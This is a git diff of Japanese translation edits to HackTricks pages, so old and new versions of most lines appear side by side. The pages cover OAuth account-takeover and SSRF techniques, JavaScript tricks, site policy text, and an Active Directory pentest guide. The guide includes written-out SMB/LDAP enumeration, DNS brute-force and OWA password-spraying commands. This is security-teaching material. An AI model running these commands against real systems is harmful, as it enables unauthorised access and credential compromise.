[**このブログ投稿によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を介してOAuthにログインすることを許可するOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAをバイパスすることが可能です。
|
||||
|
||||
### オープンリダイレクトに基づくウェブページのリダイレクトでのATO <a href="#bda5" id="bda5"></a>
|
||||
|
||||
この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を悪用し、OAuthを使用してATOを実行する方法について説明しています。攻撃は次のとおりです:
|
||||
この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を悪用し、OAuthを使用してATOを行う方法についてコメントしています。攻撃は次の通りです:
|
||||
|
||||
1. 被害者が攻撃者のウェブページにアクセスします
|
||||
2. 被害者が悪意のあるリンクを開くと、オープナーが`response_type=id_token,code&prompt=none`を追加パラメータとして使用してGoogle OAuthフローを開始します。**リファラーは攻撃者のウェブサイト**です。
|
||||
3. オープナーで、プロバイダーが被害者を認可すると、`redirect_uri`パラメータの値(被害者のウェブ)に30Xコードで戻しますが、攻撃者のウェブサイトはリファラーに残ります。
|
||||
4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードは**URLのフラグメント**で攻撃者に返され、被害者のサイトでGoogleを介してユーザーのアカウントを乗っ取ることができます。
|
||||
4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードは**URLのフラグメント**で攻撃者に返され、被害者のサイトを介してユーザーのアカウントを乗っ取ることができます。
|
||||
|
||||
### SSRFsパラメータ <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**この研究を確認してください**](https://portswigger.net/research/hidden-oauth-attack-vectors) **この技術の詳細について。**
|
||||
|
||||
OAuthにおけるダイナミッククライアント登録は、特に**サーバーサイドリクエストフォージェリ(SSRF)**攻撃に対するセキュリティ脆弱性の重要なベクトルとして機能します。このエンドポイントは、OAuthサーバーがクライアントアプリケーションに関する詳細を受け取ることを可能にし、悪用される可能性のある機密URLを含みます。
|
||||
OAuthにおける動的クライアント登録は、特に**サーバーサイドリクエストフォージェリ(SSRF)**攻撃に対するセキュリティ脆弱性の重要なベクトルとして機能します。このエンドポイントは、OAuthサーバーがクライアントアプリケーションに関する詳細を受け取ることを可能にし、悪用される可能性のある機密URLを含みます。
|
||||
|
||||
**重要なポイント:**
|
||||
|
||||
- **ダイナミッククライアント登録**は通常`/register`にマッピングされ、`client_name`、`client_secret`、`redirect_uris`、ロゴやJSON Web Key Sets(JWKs)のURLなどの詳細をPOSTリクエストで受け入れます。
|
||||
- **動的クライアント登録**は通常`/register`にマッピングされ、`client_name`、`client_secret`、`redirect_uris`、ロゴやJSON Web Key Sets(JWKs)のURLなどの詳細をPOSTリクエストで受け入れます。
|
||||
- この機能は、**RFC7591**および**OpenID Connect Registration 1.0**に記載された仕様に準拠しており、SSRFに対して脆弱なパラメータを含んでいます。
|
||||
- 登録プロセスは、いくつかの方法でサーバーをSSRFにさらす可能性があります:
|
||||
- **`logo_uri`**:サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが不適切に処理された場合にXSSを引き起こす可能性があります。
|
||||
@ -208,12 +208,12 @@ OAuthにおけるダイナミッククライアント登録は、特に**サー
|
||||
|
||||
**悪用戦略:**
|
||||
|
||||
- SSRFは、`logo_uri`、`jwks_uri`、または`sector_identifier_uri`のパラメータに悪意のあるURLを持つ新しいクライアントを登録することでトリガーされる可能性があります。
|
||||
- `request_uris`を介した直接的な悪用はホワイトリスト制御によって軽減される可能性がありますが、事前に登録された攻撃者が制御する`request_uri`を提供することで、認可フェーズ中にSSRFを促進することができます。
|
||||
- SSRFは、`logo_uri`、`jwks_uri`、または`sector_identifier_uri`のパラメータに悪意のあるURLを持つ新しいクライアントを登録することで引き起こされる可能性があります。
|
||||
- `request_uris`を介った直接的な悪用はホワイトリスト制御によって軽減される可能性がありますが、事前に登録された攻撃者が制御する`request_uri`を提供することで、認可フェーズ中にSSRFを促進することができます。
|
||||
|
||||
## OAuthプロバイダーのレース条件
|
||||
## OAuthプロバイダーのレースコンディション
|
||||
|
||||
テストしているプラットフォームがOAuthプロバイダーである場合、[**レース条件の可能性をテストするためにこれを読んでください**](race-condition.md)。
|
||||
テストしているプラットフォームがOAuthプロバイダーである場合、[**レースコンディションの可能性をテストするためにこれを読んでください**](race-condition.md)。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -192,12 +192,12 @@ Portswiggerのツール**Hackability inspector**は、javascriptオブジェク
|
||||
|
||||
## **.map jsファイル**
|
||||
|
||||
- .map jsファイルをダウンロードするためのトリック: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
|
||||
- .map jsファイルをダウンロードするトリック: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
|
||||
- これらのファイルを分析するためにこのツールを使用できます [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
|
||||
|
||||
## "--" 代入
|
||||
|
||||
減算演算子`--`は、代入でもあります。この演算子は値を取り、その値を1減算します。その値が数値でない場合、`NaN`に設定されます。これは**環境から変数の内容を削除する**ために使用できます。
|
||||
減算演算子`--`は、代入でもあります。この演算子は値を取り、その値を1減少させます。その値が数値でない場合、`NaN`に設定されます。これは、**環境から変数の内容を削除する**ために使用できます。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -264,7 +264,7 @@ let a = 4;
|
||||
let b = 2;
|
||||
() => a + b + 1;
|
||||
```
|
||||
だから、前の関数のほとんどは実際には無駄です。なぜなら、それらを保存して呼び出す場所がないからです。例として `plusone` 関数を作成します:
|
||||
だから、前の関数のほとんどは実際には無駄です。なぜなら、それらを保存して呼び出す場所がないからです。例えば、`plusone`関数を作成すること:
|
||||
```javascript
|
||||
// Traductional
|
||||
function plusone(a) {
|
||||
@ -301,11 +301,11 @@ var bindFn_this = fn.bind(this, "fixingparam1")
|
||||
bindFn_change("Hello", "World")
|
||||
```
|
||||
> [!NOTE]
|
||||
> **`bind`** を使用すると、関数を呼び出すときに使用される **`this`** オブジェクトを操作できることに注意してください。
|
||||
> **`bind`** を使用すると、関数を呼び出すときに使用される **`this`** オブジェクトを操作できます。
|
||||
|
||||
### 関数コードの漏洩
|
||||
|
||||
関数の **オブジェクト** に **アクセス** できる場合、その関数の **コード** を **取得** できます。
|
||||
関数の **オブジェクトにアクセス** できれば、その関数の **コードを取得** できます。
|
||||
```javascript
|
||||
function afunc() {
|
||||
return 1 + 1
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Cookies Policy
|
||||
|
||||
最終更新日: 2023年2月4日
|
||||
最終更新日: 2023年4月2日
|
||||
|
||||
### Introduction
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
* book.hacktricks.wiki
|
||||
* cloud.hacktricks.wiki
|
||||
|
||||
これらのウェブサイトのいずれかを使用することにより、あなたはこのCookiesポリシーに従ったクッキーの使用に同意するものとします。もし同意しない場合は、ブラウザの設定でクッキーを無効にするか、私たちのウェブサイトの使用を控えてください。
|
||||
これらのウェブサイトのいずれかを使用することにより、あなたはこのCookiesポリシーに従ってクッキーの使用に同意するものとします。もし同意しない場合は、ブラウザの設定でクッキーを無効にするか、私たちのウェブサイトの使用を控えてください。
|
||||
|
||||
### What are cookies?
|
||||
|
||||
@ -21,24 +21,24 @@
|
||||
|
||||
私たちは、以下の目的でウェブサイトでクッキーを使用します:
|
||||
|
||||
1. Essential cookies: これらのクッキーは、ユーザー認証の有効化、セキュリティの維持、あなたの設定の記憶など、私たちのウェブサイトの基本的な機能に必要です。
|
||||
1. Essential cookies: これらのクッキーは、ユーザー認証の有効化、セキュリティの維持、およびあなたの設定を記憶するなど、私たちのウェブサイトの基本的な機能に必要です。
|
||||
2. Performance cookies: これらのクッキーは、訪問者が私たちのウェブサイトとどのように相互作用しているかを理解するのに役立ち、情報を匿名で収集および報告します。これにより、ウェブサイトのパフォーマンスとユーザー体験を向上させることができます。
|
||||
3. Functionality cookies: これらのクッキーは、あなたが選択した言語や地域などの選択肢を記憶し、よりパーソナライズされた体験を提供することを可能にします。
|
||||
4. Targeting/advertising cookies: これらのクッキーは、あなたの興味、閲覧履歴、私たちのウェブサイトとの相互作用に基づいて、関連する広告やマーケティングコミュニケーションを配信するために使用されます。
|
||||
4. Targeting/advertising cookies: これらのクッキーは、あなたの興味、閲覧履歴、および私たちのウェブサイトとの相互作用に基づいて、関連する広告やマーケティングコミュニケーションを配信するために使用されます。
|
||||
|
||||
さらに、book.hacktricks.wikiおよびcloud.hacktricks.wikiのページはGitbookでホストされています。Gitbookのクッキーに関する詳細情報は、[https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)で確認できます。
|
||||
|
||||
### Third-party cookies
|
||||
|
||||
私たち自身のクッキーに加えて、ウェブサイトの使用統計を報告し、広告を配信し、ソーシャルメディア共有ボタンを有効にするために、サードパーティのクッキーも使用する場合があります。サードパーティのクッキーの使用は、それぞれのプライバシーポリシーに従います。
|
||||
私たち自身のクッキーに加えて、ウェブサイトの使用統計を報告し、広告を配信し、ソーシャルメディア共有ボタンを有効にするために、サードパーティのクッキーを使用することもあります。サードパーティのクッキーの使用は、それぞれのプライバシーポリシーに従います。
|
||||
|
||||
Managing cookies
|
||||
|
||||
ほとんどのウェブブラウザでは、設定を通じてクッキーを管理することができます。クッキーの使用をブロック、削除、または制限することを選択できます。ただし、クッキーを無効にすると、私たちのウェブサイトの機能性やパフォーマンスに影響を与える可能性があることに注意してください。
|
||||
ほとんどのウェブブラウザでは、設定を通じてクッキーを管理することができます。デバイス上でクッキーの使用をブロック、削除、または制限することを選択できます。ただし、クッキーを無効にすると、私たちのウェブサイトの機能性やパフォーマンスに影響を与える可能性があることに注意してください。
|
||||
|
||||
Changes to this Cookies Policy
|
||||
|
||||
私たちは、実践や関連法の変更を反映するために、このCookiesポリシーを随時更新する場合があります。私たちのクッキーの実践に関する最新情報を得るために、このページを定期的に確認することをお勧めします。
|
||||
私たちは、実践や関連法の変更を反映するために、このCookiesポリシーを随時更新することがあります。私たちのクッキーの実践に関する最新情報を得るために、このページを定期的に確認することをお勧めします。
|
||||
|
||||
### Contact us
|
||||
|
||||
|
@ -13,9 +13,9 @@
|
||||
> - コミュニティが公開した素晴らしい**ハッキング**技術を**保存**し、**元の****著者**にすべての**クレジット**を与えます。
|
||||
> - **他の人からのクレジットは必要ありません**、私たちはただ皆のためにクールなトリックを保存したいだけです。
|
||||
> - 私たちはまた、HackTricksで**自分たちの研究**を書きます。
|
||||
> - いくつかのケースでは、**HackTricksに技術の重要な部分の要約を書き**、**詳細については元の投稿を訪れることを勧めます**。
|
||||
> - いくつかのケースでは、**HackTricksに技術の重要な部分の要約を書き**、**詳細については元の投稿を訪れることを読者に勧めます**。
|
||||
> - 本の中のすべてのハッキング技術を**整理**して、**よりアクセスしやすく**します。
|
||||
> - HackTricksチームは、人々が**より早く学べるように**コンテンツを**整理するためだけに**数千時間を無料で捧げました。
|
||||
> - HackTricksチームは、人々が**より早く学べるように**コンテンツを**整理するためだけに**何千時間も無料で捧げてきました。
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -23,17 +23,17 @@
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **これらのリソースに感謝します、どうやってお礼を言えますか?**
|
||||
> - **これらのリソースに感謝します、どうやって感謝すればいいですか?**
|
||||
|
||||
HackTricksチームに感謝の意を表すには、[**@hacktricks_live**](https://twitter.com/hacktricks_live)をメンションしてツイートしてください。\
|
||||
特に感謝している場合は、[**ここでプロジェクトを支援することもできます**](https://github.com/sponsors/carlospolop)。\
|
||||
HackTricksチームに感謝の意を表するには、[**@hacktricks_live**](https://twitter.com/hacktricks_live)をメンションしてツイートすることができます。\
|
||||
特に感謝している場合は、[**ここでプロジェクトを支援することもできます**](https://github.com/sponsors/carlospolop).\
|
||||
そして、**Githubプロジェクトにスターを付けるのを忘れないでください!**(リンクは下にあります)。
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **プロジェクトにどのように貢献できますか?**
|
||||
|
||||
新しいヒントやトリックをコミュニティと共有したり、本の中で見つけたバグを修正したりすることができます。該当するGithubページに**プルリクエスト**を送信してください:
|
||||
新しいヒントやトリックをコミュニティと共有したり、本の中で見つけたバグを修正して、該当するGithubページに**プルリクエスト**を送信することができます:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
@ -42,9 +42,9 @@ HackTricksチームに感謝の意を表すには、[**@hacktricks_live**](https
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricksのコンテンツをコピーして自分のブログに載せてもいいですか?**
|
||||
> - **HackTricksからいくつかのコンテンツをコピーして自分のブログに載せてもいいですか?**
|
||||
|
||||
はい、できますが、**コンテンツがどこから取られたかの特定のリンクを忘れずに記載してください**。
|
||||
はい、できますが、**コンテンツがどこから取られたかの特定のリンクを忘れずに言及してください**。
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
@ -76,7 +76,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
HackTricks書籍が**商業目的**で作られていると思うなら、あなたは**完全に間違っています**。
|
||||
|
||||
私たちはスポンサーを持っています。なぜなら、すべてのコンテンツが無料であっても、私たちの仕事を**評価してもらう可能性をコミュニティに提供したいからです**。したがって、私たちは人々に[**Githubスポンサー**](https://github.com/sponsors/carlospolop)を通じてHackTricksに寄付するオプションを提供し、**関連するサイバーセキュリティ企業**にHackTricksをスポンサーしてもらい、**広告を掲載する**ことを許可しています。広告は常に**目立つ**場所に配置されますが、**学習**プロセスを妨げないようにしています。
|
||||
私たちはスポンサーを持っています。なぜなら、すべてのコンテンツが無料であっても、私たちの仕事を**評価する機会をコミュニティに提供したい**からです。したがって、私たちは人々に[**Githubスポンサー**](https://github.com/sponsors/carlospolop)を通じてHackTricksに寄付するオプションを提供し、**関連するサイバーセキュリティ企業**にHackTricksをスポンサーしてもらい、**広告を掲載する**ことを許可しています。広告は常に**目立つ**場所に配置されますが、**学習**プロセスを妨げないようにしています。
|
||||
|
||||
HackTricksは、HackTricksよりもはるかに少ないコンテンツを持つ他のブログのように、煩わしい広告で溢れていることはありません。なぜなら、HackTricksは商業目的で作られていないからです。
|
||||
|
||||
@ -84,7 +84,7 @@ HackTricksは、HackTricksよりもはるかに少ないコンテンツを持つ
|
||||
>
|
||||
> - **HackTricksのページが私のブログ投稿に基づいているが、参照されていない場合はどうすればよいですか?**
|
||||
|
||||
**申し訳ありません。これは起こるべきではありません**。Githubの問題、Twitter、Discordなどを通じて、HackTricksページのリンクとあなたのブログのリンクをお知らせください。**私たちはそれを確認し、できるだけ早く追加します**。
|
||||
**申し訳ありません。これは起こるべきではありません**。HackTricksページのリンクとあなたのブログのリンクをGithubの問題、Twitter、Discordなどでお知らせください。**私たちはそれを確認し、できるだけ早く追加します**。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
@ -96,11 +96,11 @@ HackTricksにあなたのページへのリンクがあることは次のよう
|
||||
- コンテンツが**15以上の言語に翻訳され**、より多くの人々がこのコンテンツにアクセスできるようになります
|
||||
- **HackTricksは**人々に**あなたのページをチェックすることを奨励します**(何人かの人々が、彼らのページがHackTricksに掲載されて以来、より多くの訪問を受けていると私たちに言っています)
|
||||
|
||||
しかし、もしあなたがまだあなたのブログのコンテンツをHackTricksから削除したい場合は、私たちに知らせてください。私たちは確実に**あなたのブログへのすべてのリンク**と、それに基づくコンテンツを**削除します**。
|
||||
しかし、もしあなたがまだあなたのブログのコンテンツをHackTricksから削除したい場合は、私たちに知らせてください。私たちは確実に**あなたのブログへのすべてのリンク**とそれに基づくコンテンツを**削除します**。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **HackTricksにコピー&ペーストされたコンテンツを見つけた場合はどうすればよいですか?**
|
||||
> - **HackTricksでコピー&ペーストされたコンテンツを見つけた場合はどうすればよいですか?**
|
||||
|
||||
私たちは常に**元の著者にすべてのクレジットを与えます**。元のソースが参照されていないコピー&ペーストされたコンテンツのあるページを見つけた場合は、私たちに知らせてください。私たちはそれを**削除する**か、**テキストの前にリンクを追加する**か、**リンクを追加して書き直す**かします。
|
||||
|
||||
@ -125,18 +125,18 @@ Copyright © All rights reserved unless otherwise specified.
|
||||
|
||||
This license does not grant any trademark or branding rights in relation to the content. All trademarks and branding featured in this blog/book are the property of their respective owners.
|
||||
|
||||
**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.**
|
||||
**HackTricksにアクセスまたは使用することにより、あなたはこのライセンスの条件に従うことに同意します。これらの条件に同意しない場合は、このウェブサイトにアクセスしないでください。**
|
||||
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> この本『HackTricks』は、教育および情報提供の目的のみを意図しています。この本の内容は「現状のまま」で提供されており、著者および出版社は、情報、製品、サービス、またはこの本に含まれる関連グラフィックスの完全性、正確性、信頼性、適合性、または可用性について、明示または暗示のいかなる表明や保証も行いません。したがって、そのような情報に依存することは、厳密に自己責任となります。
|
||||
>
|
||||
> 著者および出版社は、データや利益の損失から生じる、またはこの本の使用に関連するいかなる損失や損害についても、一切責任を負いません。
|
||||
> 著者および出版社は、データや利益の損失から生じる、またはこの本の使用に関連するいかなる損失や損害についても、一切の責任を負いません。
|
||||
>
|
||||
> さらに、この本に記載されている技術やヒントは、教育および情報提供の目的のみで提供されており、違法または悪意のある活動に使用すべきではありません。著者および出版社は、違法または非倫理的な活動を容認または支持せず、この本に含まれる情報の使用は、ユーザーの自己責任と裁量に委ねられます。
|
||||
> さらに、この本に記載されている技術やヒントは、教育および情報提供の目的のみを意図しており、違法または悪意のある活動に使用すべきではありません。著者および出版社は、違法または非倫理的な活動を容認または支持せず、この本に含まれる情報の使用は、ユーザーの自己責任と裁量に委ねられます。
|
||||
>
|
||||
> ユーザーは、この本に含まれる情報に基づいて行った行動に対して単独で責任を負い、ここに記載されている技術やヒントを実行しようとする際には、常に専門的なアドバイスと支援を求めるべきです。
|
||||
> ユーザーは、この本に含まれる情報に基づいて行った行動に対して単独で責任を負い、ここに記載されている技術やヒントを実装しようとする際には、常に専門的なアドバイスと支援を求めるべきです。
|
||||
>
|
||||
> この本を使用することにより、ユーザーは著者および出版社を、この本またはその中に含まれる情報の使用から生じる損害、損失、または害に対する一切の責任および責任から解放することに同意します。
|
||||
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## 基本概要
|
||||
|
||||
**Active Directory**は、**ネットワーク管理者**が**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できるようにする基盤技術です。これはスケーラブルに設計されており、膨大な数のユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。
|
||||
**Active Directory**は、**ネットワーク管理者**がネットワーク内で**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できるようにする基盤技術です。これはスケーラブルに設計されており、膨大な数のユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。
|
||||
|
||||
**Active Directory**の構造は、**ドメイン**、**ツリー**、および**フォレスト**の3つの主要な層で構成されています。**ドメイン**は、共通のデータベースを共有する**ユーザー**や**デバイス**などのオブジェクトのコレクションを含みます。**ツリー**は、共有構造によってリンクされたこれらのドメインのグループであり、**フォレスト**は、**信頼関係**を通じて相互接続された複数のツリーのコレクションを表し、組織構造の最上層を形成します。特定の**アクセス**および**通信権**は、これらの各レベルで指定できます。
|
||||
**Active Directory**の構造は、**ドメイン**、**ツリー**、および**フォレスト**の3つの主要な層で構成されています。**ドメイン**は、共通のデータベースを共有する**ユーザー**や**デバイス**などのオブジェクトのコレクションを含みます。**ツリー**は、共有構造によってリンクされたこれらのドメインのグループであり、**フォレスト**は、相互に**信頼関係**を持つ複数のツリーのコレクションを表し、組織構造の最上層を形成します。特定の**アクセス**および**通信権**は、これらの各レベルで指定できます。
|
||||
|
||||
**Active Directory**内の主要な概念には以下が含まれます:
|
||||
|
||||
@ -16,13 +16,13 @@
|
||||
4. **ツリー** – 共通のルートドメインを共有するドメインのグループです。
|
||||
5. **フォレスト** – Active Directoryにおける組織構造の頂点であり、**信頼関係**を持ついくつかのツリーで構成されています。
|
||||
|
||||
**Active Directory Domain Services (AD DS)**は、ネットワーク内の集中管理および通信に不可欠な一連のサービスを含みます。これらのサービスには以下が含まれます:
|
||||
**Active Directory Domain Services (AD DS)**は、ネットワーク内での集中管理および通信に不可欠な一連のサービスを含みます。これらのサービスには以下が含まれます:
|
||||
|
||||
1. **ドメインサービス** – データストレージを集中化し、**ユーザー**と**ドメイン**間の相互作用を管理し、**認証**および**検索**機能を含みます。
|
||||
2. **証明書サービス** – 安全な**デジタル証明書**の作成、配布、および管理を監督します。
|
||||
3. **軽量ディレクトリサービス** – **LDAPプロトコル**を通じてディレクトリ対応アプリケーションをサポートします。
|
||||
4. **ディレクトリ連携サービス** – 複数のWebアプリケーションでユーザーを単一のセッションで認証するための**シングルサインオン**機能を提供します。
|
||||
5. **権利管理** – 著作権資料を保護するために、その無許可の配布および使用を規制します。
|
||||
4. **ディレクトリ連携サービス** – 複数のWebアプリケーションでのユーザー認証を単一セッションで行う**シングルサインオン**機能を提供します。
|
||||
5. **権利管理** – 著作権資料を保護し、その無許可の配布および使用を規制するのを助けます。
|
||||
6. **DNSサービス** – **ドメイン名**の解決に重要です。
|
||||
|
||||
詳細な説明については、[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)を確認してください。
|
||||
@ -34,39 +34,39 @@
|
||||
|
||||
## チートシート
|
||||
|
||||
[https://wadcoms.github.io/](https://wadcoms.github.io)にアクセスして、ADを列挙/悪用するために実行できるコマンドの概要を確認できます。
|
||||
ADを列挙/悪用するために実行できるコマンドの概要を迅速に確認するには、[https://wadcoms.github.io/](https://wadcoms.github.io)を参照してください。
|
||||
|
||||
## Active Directoryの調査(クレデンシャル/セッションなし)
|
||||
## Active Directoryの偵察(クレデンシャル/セッションなし)
|
||||
|
||||
AD環境にアクセスできるが、クレデンシャル/セッションがない場合は、次のことができます:
|
||||
|
||||
- **ネットワークのペンテスト:**
|
||||
- ネットワークをスキャンし、マシンやオープンポートを見つけ、そこから**脆弱性を悪用**したり、**クレデンシャルを抽出**したりします(例えば、[プリンターは非常に興味深いターゲットになる可能性があります](ad-information-in-printers.md))。
|
||||
- ネットワークをスキャンし、マシンやオープンポートを見つけ、そこから**脆弱性を悪用**したり**クレデンシャルを抽出**したりします(例えば、[プリンターは非常に興味深いターゲットになる可能性があります](ad-information-in-printers.md))。
|
||||
- DNSを列挙することで、ドメイン内の主要なサーバーに関する情報を得ることができます。ウェブ、プリンター、共有、VPN、メディアなど。
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- 一般的な[**ペンテスト手法**](../../generic-methodologies-and-resources/pentesting-methodology.md)を確認して、これを行う方法に関する詳細情報を見つけてください。
|
||||
- これを行う方法についての詳細情報は、一般的な[**ペンテスト手法**](../../generic-methodologies-and-resources/pentesting-methodology.md)を確認してください。
|
||||
- **smbサービスでのnullおよびGuestアクセスを確認する**(これは最新のWindowsバージョンでは機能しません):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
- SMBサーバーを列挙する方法に関する詳細なガイドはここにあります:
|
||||
- SMBサーバーを列挙する方法についての詳細なガイドはここにあります:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/
|
||||
{{#endref}}
|
||||
|
||||
- **Ldapを列挙する**
|
||||
- **Ldapを列挙**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- LDAPを列挙する方法に関する詳細なガイドはここにあります(**匿名アクセスに特に注意してください**):
|
||||
- LDAPを列挙する方法についての詳細なガイドはここにあります(**匿名アクセスに特に注意してください**):
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
- **ネットワークを毒する**
|
||||
- [**Responderを使用してサービスを偽装してクレデンシャルを収集する**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [**リレー攻撃を悪用してホストにアクセスする**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- [**evil-Sを使用して偽のUPnPサービスを公開してクレデンシャルを収集する**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**Responderを使用してサービスを偽装してクレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [**リレー攻撃を悪用してホストにアクセス**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- [**悪意のあるUPnPサービスを公開してクレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- 内部文書、ソーシャルメディア、サービス(主にウェブ)からユーザー名/名前を抽出し、公開されている情報からも収集します。
|
||||
- 会社の従業員の完全な名前が見つかった場合、さまざまなADの**ユーザー名の規則**を試すことができます([**これを読む**](https://activedirectorypro.com/active-directory-user-naming-convention/))。最も一般的な規則は:_NameSurname_、_Name.Surname_、_NamSur_(各3文字)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3つの_ランダムな文字と3つのランダムな数字_(abc123)です。
|
||||
@ -103,17 +103,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> ユーザー名のリストは[**このgithubリポ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\*やこのリポ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。
|
||||
> ユーザー名のリストは[**このgithubリポジトリ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\*やこのリポジトリ([**統計的に可能性の高いユーザー名**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。
|
||||
>
|
||||
> ただし、事前に実施したリコンステップから**会社で働いている人々の名前**を持っている必要があります。名前と姓があれば、スクリプト[**namemash.py**](https://gist.github.com/superkojiman/11076951)を使用して、潜在的な有効なユーザー名を生成できます。
|
||||
> ただし、事前に実施したリコンステップから**会社で働いている人々の名前**を持っている必要があります。名前と姓があれば、スクリプト[**namemash.py**](https://gist.github.com/superkojiman/11076951)を使用して、潜在的な有効ユーザー名を生成できます。
|
||||
|
||||
### 1つまたは複数のユーザー名を知っている場合
|
||||
|
||||
さて、有効なユーザー名はすでに知っているがパスワードはない場合... 次のことを試してください:
|
||||
さて、有効なユーザー名はすでに知っているがパスワードがない場合... 次のことを試してください:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): ユーザーが**_DONT_REQ_PREAUTH_**属性を持っていない場合、そのユーザーのために**AS_REPメッセージを要求**でき、ユーザーのパスワードの派生によって暗号化されたデータが含まれます。
|
||||
- [**ASREPRoast**](asreproast.md): ユーザーが**_DONT_REQ_PREAUTH_**属性を持っていない場合、そのユーザーのために**AS_REPメッセージを要求**でき、そのメッセージにはユーザーのパスワードの派生によって暗号化されたデータが含まれます。
|
||||
- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。
|
||||
- OWAサーバーを**スプレー**して、ユーザーのメールサーバーへのアクセスを試みることもできます。
|
||||
- OWAサーバーを**スプレー**して、ユーザーのメールサーバーにアクセスを試みることもできます。
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -139,9 +139,9 @@ password-spraying.md
|
